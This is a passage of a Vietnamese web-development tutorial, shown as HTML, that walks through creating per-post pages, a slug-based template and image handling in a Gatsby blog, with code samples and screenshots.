class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Layout <span class="token keyword">from</span> <span class="token string">"../components/layout"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> graphql<span class="token punctuation">,</span> Link <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> data <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text">Bài viết mới nhất</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token punctuation">{</span>data<span class="token punctuation">.</span>allMarkdownRemark<span class="token punctuation">.</span>edges<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node <span class="token punctuation">}</span><span class="token punctuation">,</span> index</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">key</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>index<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h3</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Link</span></span> <span class="token attr-name">to</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>fields<span class="token punctuation">.</span>slug<span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>title<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Link</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">style</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token literal-property property">color</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">#BBB</span><span class="token template-punctuation string">`</span></span> <span class="token punctuation">}</span><span class="token punctuation">}</span></span><span class="token punctuation">></span></span><span class="token plain-text">— </span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>date<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h3</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span><span class="token punctuation">></span></span><span class="token punctuation">{</span>node<span class="token punctuation">.</span>excerpt<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">const</span> query <span class="token operator">=</span> graphql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> query { allMarkdownRemark( sort: { order: DESC, fields: [frontmatter___date] } limit: 1000 ) { edges { node { frontmatter { title date(formatString: "DD/MM/YYYY") } excerpt fields { slug } } } } } </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <p>Bây giờ, <em>title</em> của mỗi bài viết đã được đặt trong <em>Link</em> component.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 90.9090909090909%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAIAAADUsmlHAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC+UlEQVQ4y32RXU/bSBSG/TOQogppt72p9p5WKt1fQStxi9pcEDZAgNJc7LZSV20FKltQJbawNGx+w/YHlCLR5tOJ7cTjGcf2jB3jj/FXAltwqpWJBOrHcvRq9F7Mc86ZeZnbt3+emJiYnJxMp9P37t+fmpp6mM9vbm6ub2ysrKyurK6+WFt79Ojxnbt3b9y8OT4+fuvW+NjY2OjoaCqVYq6kUj/+cPX69Z+e/P50feOPtZfrW9s7O4VCsVjYLRb/LhZ2dwuF3Tevt7Zeb/25vvHqr53t58+fXb12bWRkhJlO3/vt1+V8fjE7O51fzjx4MJfLzWYymaXcTDabXVyYmctmFnIzudzMYu6XdDq9tDCdm59dfrg0Pz/HNJuKogw6yidCYkLiTufUsk7jOD45iU9PkzOOB/3+wPM+H//7OQoH1BscH8eeF3dNm6lWWp1OX5J8hHxF8SH0iR64rmtZjm0PZatqF0gGIV1CHE1zTNMmOm21ALO/vweRCEBLFAUIRYTERpPtdg89z3ddSqnnutQwdEKwrut+Uh6lNIwChBCz9+5do9HkOI7neI7jeb5VKlUMwzyHKfU8zx/qrFfSzvcDiBDz4QCw7AnL9ln2yDAiSl3qJrd9P/D9YAh8pQu4VKoBEfO8LAiyKCKEZEmCCCFFUSUIu13zMrhaKUmSIAIeiByEEkKdM1hOusDEmObhV/Mv4I8fG62W0W4bgmAQYlNKXZderO0Hl03e3+fr9ahWc8tlT5Zd0zQw0Q8t23Gp47iO4166drWsaUhVIEJtCAFMcpMAgCA5JSAC23b+Fy5XyoLACQLHc0KDbaqqijWMMSGYJEbDl8EHBy2e77NsoBu+bVuWZQdBGIa9MIzCMIqi3rdpffFh7fZhs0kQwhhjRVG1pLCGCcZE1TTLsoePP9dwFwAkpl6vKYosyyiJWFYkCQJRAqI0DLwjd3TdiKJer9c/VxT1jo6Odd1g3r79Z2/vfblcrdXq1WptWGemfmbrlUr1uyqVyv8B1MlwTqnaLQAAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Tạo slug liên kết đến mỗi bài viết từ trang chủ" title="Tạo slug liên kết đến mỗi bài viết từ trang chủ" src="/static/1eff7c67453a12deb410d342cafb2147/7c811/gatsby-create-page-slug.png" srcset="/static/1eff7c67453a12deb410d342cafb2147/103f2/gatsby-create-page-slug.png 165w, /static/1eff7c67453a12deb410d342cafb2147/748ba/gatsby-create-page-slug.png 330w, /static/1eff7c67453a12deb410d342cafb2147/7c811/gatsby-create-page-slug.png 660w, /static/1eff7c67453a12deb410d342cafb2147/18baa/gatsby-create-page-slug.png 785w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Lưu lại và restart server. Rồi sau đó bạn có thể nhấn thử vào <em>title</em> của mỗi bài viết để xem nó có nhảy đến đúng địa chỉ của mỗi bài viết không.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAACIElEQVQoz5XQS28SURgG4PkdrNnRxJqQtmHFb6jRVqXcTK3+isat0dYaTQuiXRnjUluEUE1KQWBm2mFm0HKZOZwzF5C5DzMMiTtDwdhEF/bNs/lO8ubLd7BAIBAMBsPh8O5eOvNm/+Xu3tt37wtHnwtHXz7l8tlcPpcvfPh4mHm9/+Tp9tb2s53nLzY3H/n9fp/Ph12fm1tcWFhcWlpevpGMr8bisUgkurKyun4vkkgk76+vxaJ3kom1ZDL6YCNx89bthxvxWPRuKBSan7+GZQ+zDbZB0wyOE3ithtfwarVKXOT4uFgulQiCIAmSphmGoSmqTtN1hmE7HY7jeOzg4KCGE5VKhWFZkjw7o+qVSqVaw+sUfUqeEgRZOilRFD0ajW3bcRx36LjDoWNNYmM0wxiG2e//kOW+qum6pluW7Xnj0cibcl3XcVzLsm17eNmkXCyecDxoNlvtdqfdbnEc3+1CALoAdCESJEmWZFnu9WW5BxGCEAmCCCECAA4GClYufxUEcdKBkON4AAAPAM/PKIqqqpqm6ZqmK4o6o6rKQNV1A6OoujJQJEkWBBEJIoIChAghASEkipIoSggiUZJMc3LkZaZpYblc/tv38/NmS1V1wzANw9R10zAMXZ/4/WKYpvU3DMcJUZL6/d7FbE+/cbrHNO1/dv6UWbYhCA7HWao62/b/sE67A7s/AfC88djzrgZ7vLWTeZVOp1OpdOqq+QWheGzSoXOkqAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nội dung bài viết chưa tồn tại" title="Nội dung bài viết chưa tồn tại" src="/static/351f6c4cd0f166bd52e9097580423cc6/7c811/gatsby-post-404.png" srcset="/static/351f6c4cd0f166bd52e9097580423cc6/103f2/gatsby-post-404.png 165w, /static/351f6c4cd0f166bd52e9097580423cc6/748ba/gatsby-post-404.png 330w, /static/351f6c4cd0f166bd52e9097580423cc6/7c811/gatsby-post-404.png 660w, /static/351f6c4cd0f166bd52e9097580423cc6/18baa/gatsby-post-404.png 785w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đến đây thì bạn thấy rằng địa chỉ là đúng. Nhưng tiếc là Gatsby thông báo rằng trang này vẫn chưa tồn tại. Do đó, phần tiếp theo mình sẽ tạo ra các trang tương ứng với mỗi bài viết.</p> <h3 id="hiển-thị-nội-dung-bài-viết" style="position:relative;"><a href="#hi%E1%BB%83n-th%E1%BB%8B-n%E1%BB%99i-dung-b%C3%A0i-vi%E1%BA%BFt" aria-label="hiển thị nội dung bài viết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hiển thị nội dung bài viết</h3> <h4 id="tạo-ra-trang-tương-ứng-với-mỗi-bài-viết" style="position:relative;"><a href="#t%E1%BA%A1o-ra-trang-t%C6%B0%C6%A1ng-%E1%BB%A9ng-v%E1%BB%9Bi-m%E1%BB%97i-b%C3%A0i-vi%E1%BA%BFt" aria-label="tạo ra trang tương ứng với mỗi bài viết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo ra trang tương ứng với mỗi bài viết</h4> <p>Để làm việc này, mình cần phải sử dụng một Gatsby API khác là <em>createPages</em>. Mình tiếp tục sửa file <em>/gatsby-node.js</em>.</p> <div class="gatsby-code-title gatsby-remark-code-title">/gatsby-node.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">/* * phần trước không thay đổi, mình bổ sung thêm đoạn sau */</span> exports<span class="token punctuation">.</span><span class="token function-variable function">createPages</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> graphql<span class="token punctuation">,</span> actions <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> <span class="token punctuation">{</span> createPage <span class="token punctuation">}</span> <span class="token operator">=</span> actions<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">graphql</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> { allMarkdownRemark { edges { node { fields { slug } } } } } </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> result<span class="token punctuation">.</span>data<span class="token punctuation">.</span>allMarkdownRemark<span class="token punctuation">.</span>edges<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> node <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">createPage</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">path</span><span class="token operator">:</span> node<span class="token punctuation">.</span>fields<span class="token punctuation">.</span>slug<span class="token punctuation">,</span> <span class="token literal-property property">component</span><span class="token operator">:</span> path<span class="token punctuation">.</span><span class="token function">resolve</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">./src/templates/blog-post.js</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token literal-property property">context</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">slug</span><span class="token operator">:</span> node<span class="token punctuation">.</span>fields<span class="token punctuation">.</span>slug<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Đoạn này có ý nghĩa là mình sẽ tạo ra các trang tương ứng với mỗi file Markdown, với đường dẫn <em>path</em> chính là <em>slug</em> của mỗi node, và nội dung được sử dụng dựa trên một template ở file <em>/src/templates/blog-post.js</em>.</p> <p>Dĩ nhiên, đến đây thì mọi thứ vẫn chưa có gì thay đổi. Vì mình chưa tạo file template kia.</p> <h4 id="tạo-template-cho-mỗi-bài-viết" style="position:relative;"><a href="#t%E1%BA%A1o-template-cho-m%E1%BB%97i-b%C3%A0i-vi%E1%BA%BFt" aria-label="tạo template cho mỗi bài viết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo template cho mỗi bài viết</h4> <p>Đầu tiên, tạo file <em>/src/templates/blog-post.js</em> và sửa nội dung nó thành:</p> <div class="gatsby-code-title gatsby-remark-code-title">/src/templates/blog-post.js</div> <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx"><span class="token keyword">import</span> React <span class="token keyword">from</span> <span class="token string">"react"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> <span class="token punctuation">{</span> graphql <span class="token punctuation">}</span> <span class="token keyword">from</span> <span class="token string">"gatsby"</span><span class="token punctuation">;</span> <span class="token keyword">import</span> Layout <span class="token keyword">from</span> <span class="token string">"../components/layout"</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">{</span> data <span class="token punctuation">}</span></span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">const</span> post <span class="token operator">=</span> data<span class="token punctuation">.</span>markdownRemark<span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">(</span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h1</span><span class="token punctuation">></span></span><span class="token punctuation">{</span>post<span class="token punctuation">.</span>frontmatter<span class="token punctuation">.</span>title<span class="token punctuation">}</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h1</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">dangerouslySetInnerHTML</span><span class="token script language-javascript"><span class="token script-punctuation punctuation">=</span><span class="token punctuation">{</span><span class="token punctuation">{</span> <span class="token literal-property property">__html</span><span class="token operator">:</span> post<span class="token punctuation">.</span>html <span class="token punctuation">}</span><span class="token punctuation">}</span></span> <span class="token punctuation">/></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span><span class="token plain-text"> </span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span><span class="token class-name">Layout</span></span><span class="token punctuation">></span></span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">export</span> <span class="token keyword">const</span> query <span class="token operator">=</span> graphql<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> query ($slug: String!) { markdownRemark(fields: { slug: { eq: $slug } }) { html frontmatter { title } } } </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <p>Câu lệnh query phần này có vẻ hơi khác so với phần trước. Đó là nó chứa tham số <em>$slug</em>. Cũng đúng thôi, vì với mỗi bài viết khác nhau thì <em>slug</em> cũng khác. Vì vậy, mình cần thông tin này để query đúng bài viết tương ứng.</p> <p>Vấn đề là giá trị <em>$slug</em> ở đây lấy ở đâu ra?</p> <p>Xem lại phần trước, chỗ <em>createPage</em>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">createPage</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">path</span><span class="token operator">:</span> node<span class="token punctuation">.</span>fields<span class="token punctuation">.</span>slug<span class="token punctuation">,</span> <span class="token literal-property property">component</span><span class="token operator">:</span> path<span class="token punctuation">.</span><span class="token function">resolve</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">./src/templates/blog-post.js</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token literal-property property">context</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">slug</span><span class="token operator">:</span> node<span class="token punctuation">.</span>fields<span class="token punctuation">.</span>slug<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ở đây, thuộc tính <em>slug</em> bên trong phần <em>context</em> sẽ được truyền sang template kia và đóng vai trò là <em>$slug</em> trong câu lệnh GraphQL phía trên.</p> <p>Bây giờ, bạn lưu lại và restart server thì sẽ thấy kết quả:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 98.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAADBElEQVQ4y41TXUscVxiev2AUEX9DLFYoRQoJrTahV41Ws+4qyZqGtghe+WPakpiWFpNSCO1tou4mhCTaxp0vd3dmzsecj5nZ3TMzZ2ZnLLS9KGHWIC3EpS8PB96L5zzned/nKB9fuVIqrVy/XlpYWLh27dP5+flKuby1tbW5ufnVl0VtbGyUy+Xp6emRkZGxsbHR0dHRCxcmJibGx8eVixenpqbeuXr1k537D37c2bn3/Q8Pf/l1d69Wq9f3a/W9/dp+rf7o8e6Dn36+c3f7zt3t7Xvfff3NtzMzM5OTk8oH7717+fLs3EeXlpYXb1WXbtysrFZWFj9bXL9ZqqyurVdLq5Xl6o2VarXyxe21paXl25+Xb62vzc19ODv7vrK3qz19ymp1vLdrPXliP37kHB4CCIBjO5ZlO44DgHNsgt9/A+02VBv2waHdajqGThyHKBh3k+QfIf6U8u84/isIToTI8zzPsjzPT7Is7/cz3+8iFHheJ5EnYZinaZbIP4Kgpzx//uzFy2ea1jg4eHnUeCVEN88zKdMkeYM4lkKEQvR6QiSDklJmWZ9zrhiGASHC2HUARAj3eiKKojAsEEVxFMVSJmcXSZlImcSxTNM+557SbludTpcQyijj3MMugQAW1yEMESaEnnHO8B+y73uUMsY8QiilDGMXY5dSNmi9OE7OJZuGBaFPKGeM04LLGaOUMIwx44Ftp73eqc+3kXXdtayUcxFFoRBhFL4xPBhSGIZSDlFmjHoeVVXVMEzzuGkapmk2dX3QNFtChMM8uy7l3LMsG0IEALRsBziwiAYoVlAMW56vTAh1sdtQNU3XDcPUNV3TdFVVdd1QNb3bE8OUCaG+50OIC2UIAYAIYgAQRMgB0A86w8iUMgRgo6GaxrFumKqqFfqG0Wq2jl4deX6Qpv3zPRPi+77VthwHIIQAAMABtm23raIo5ckQchEsxnXdsCy71WpTVuSsOIqFs2D4s81WkwxShZArRNjvZ2na/zfOnzZXIEJSJqepOP0G/wdJknY6ndezxNS7iZJHDAAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nội dung bài viết đã được hiển thị nhưng ảnh thị lỗi" title="Nội dung bài viết đã được hiển thị nhưng ảnh thị lỗi" src="/static/e17e2a307240505ab8009ab70b2c3cee/7c811/gatsby-post-ok.png" srcset="/static/e17e2a307240505ab8009ab70b2c3cee/103f2/gatsby-post-ok.png 165w, /static/e17e2a307240505ab8009ab70b2c3cee/748ba/gatsby-post-ok.png 330w, /static/e17e2a307240505ab8009ab70b2c3cee/7c811/gatsby-post-ok.png 660w, /static/e17e2a307240505ab8009ab70b2c3cee/18baa/gatsby-post-ok.png 785w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đợi chút, trong nội dung bài viết, phần hiển thị ảnh (dưới cùng) bị lỗi. Nghĩa là hiện tại mình mới chỉ xử lý được trường hợp nội dung bài viết dạng text. Còn có những dạng khác như ảnh, video, iframe,... mình vẫn chưa xử lý.</p> <h4 id="xử-lý-hình-ảnh-trong-file-markdown" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-h%C3%ACnh-%E1%BA%A3nh-trong-file-markdown" aria-label="xử lý hình ảnh trong file markdown permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý hình ảnh trong file Markdown</h4> <p>Trong demo này, mình sẽ chỉ xử lý thêm trường hợp nội dung bài viết chứa ảnh. Các trường hợp khác bạn có thể tự tìm kiếm plugin của Gatsby có hỗ trợ để làm.</p> <p>Để xử lý phần hiển thị ảnh trong Markdown, mình cần cài thêm plugin <em>gatsby-remark-images</em> bằng câu lệnh:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">npm</span> <span class="token function">install</span> --save gatsby-remark-images gatsby-plugin-sharp</code></pre></div> <p><em>Ở đây mình có cài thêm plugin gatsby-plugin-sharp vì gatsby-remark-images cần sử dụng plugin này.</em></p> <p>Tiếp theo mình sửa lại file <em>/gatsby-config.js</em>:</p> <div class="gatsby-code-title gatsby-remark-code-title">/gatsby-config.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">module<span class="token punctuation">.</span>exports <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">siteMetadata</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Gatsby Blog Tutorial Demo</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">plugins</span><span class="token operator">:</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">resolve</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">gatsby-source-filesystem</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">options</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">src</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">path</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>__dirname<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">/src/</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">resolve</span><span class="token operator">:</span> <span class="token string">"gatsby-transformer-remark"</span><span class="token punctuation">,</span> <span class="token literal-property property">options</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">plugins</span><span class="token operator">:</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">resolve</span><span class="token operator">:</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">gatsby-remark-images</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token literal-property property">options</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">maxWidth</span><span class="token operator">:</span> <span class="token number">590</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Vì plugin 